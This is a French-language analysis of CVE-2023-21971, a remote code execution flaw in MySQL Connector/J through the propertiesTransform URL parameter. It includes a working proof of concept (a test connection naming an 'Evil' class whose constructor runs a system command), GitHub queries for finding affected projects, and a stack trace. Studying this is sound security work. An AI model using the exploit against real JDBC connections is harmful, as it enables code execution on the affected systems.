
CVE-2023-21971 Analyse RCE Connector/J
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)
Vulnérabilité dans les produits Oracle MySQL Connectors (composant : Connector/J). Les versions prises en charge affectées sont 8.0.32 et antérieures. Une vulnérabilité difficile à exploiter permet à un attaquant disposant de privilèges élevés d'accéder au réseau via plusieurs protocoles pour compromettre le connecteur MySQL. Une attaque réussie nécessite une interaction humaine de la part d'une personne autre que l'attaquant. L'exploitation réussie de cette vulnérabilité peut entraîner une capacité non autorisée à suspendre le connecteur MySQL ou à provoquer des plantages fréquents et répétés (DOS complet), ainsi qu'une mise à jour, une insertion ou une suppression non autorisées de certaines données accessibles au connecteur MySQL, et un accès en lecture non autorisé à une partie des données accessibles au connecteur MySQL.
Portée de l'impact :
Rechercher sur Github les projets dépendant de mysql-connector-java.
filename:pom.xml mysql-connector-java
Rechercher sur Github pour trouver les projets dépendant d'une version spécifique de mysql-connector-java.
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
Ici, il est évident que nous pouvons contrôler propertiesTransformClassName, et lors de l'appel de newInstance(), son constructeur sans argument sera automatiquement invoqué.
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
Il est clairement possible d'écrire un démon de validation.
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
Ici, nous téléchargeons directement le fichier Jar et l'importons dans les bibliothèques du projet IDEA.
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
Mais la classe Evil est créée localement, et aucune classe dans les dépendances n'implémente l'interface ConnectionPropertiesTransform. S'agit-il donc d'une vulnérabilité inexploitable ?
Par l'expérimentation, nous constatons qu'en fait, la classe Evil n'a pas besoin d'implémenter l'interface ConnectionPropertiesTransform pour exécuter des commandes.
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test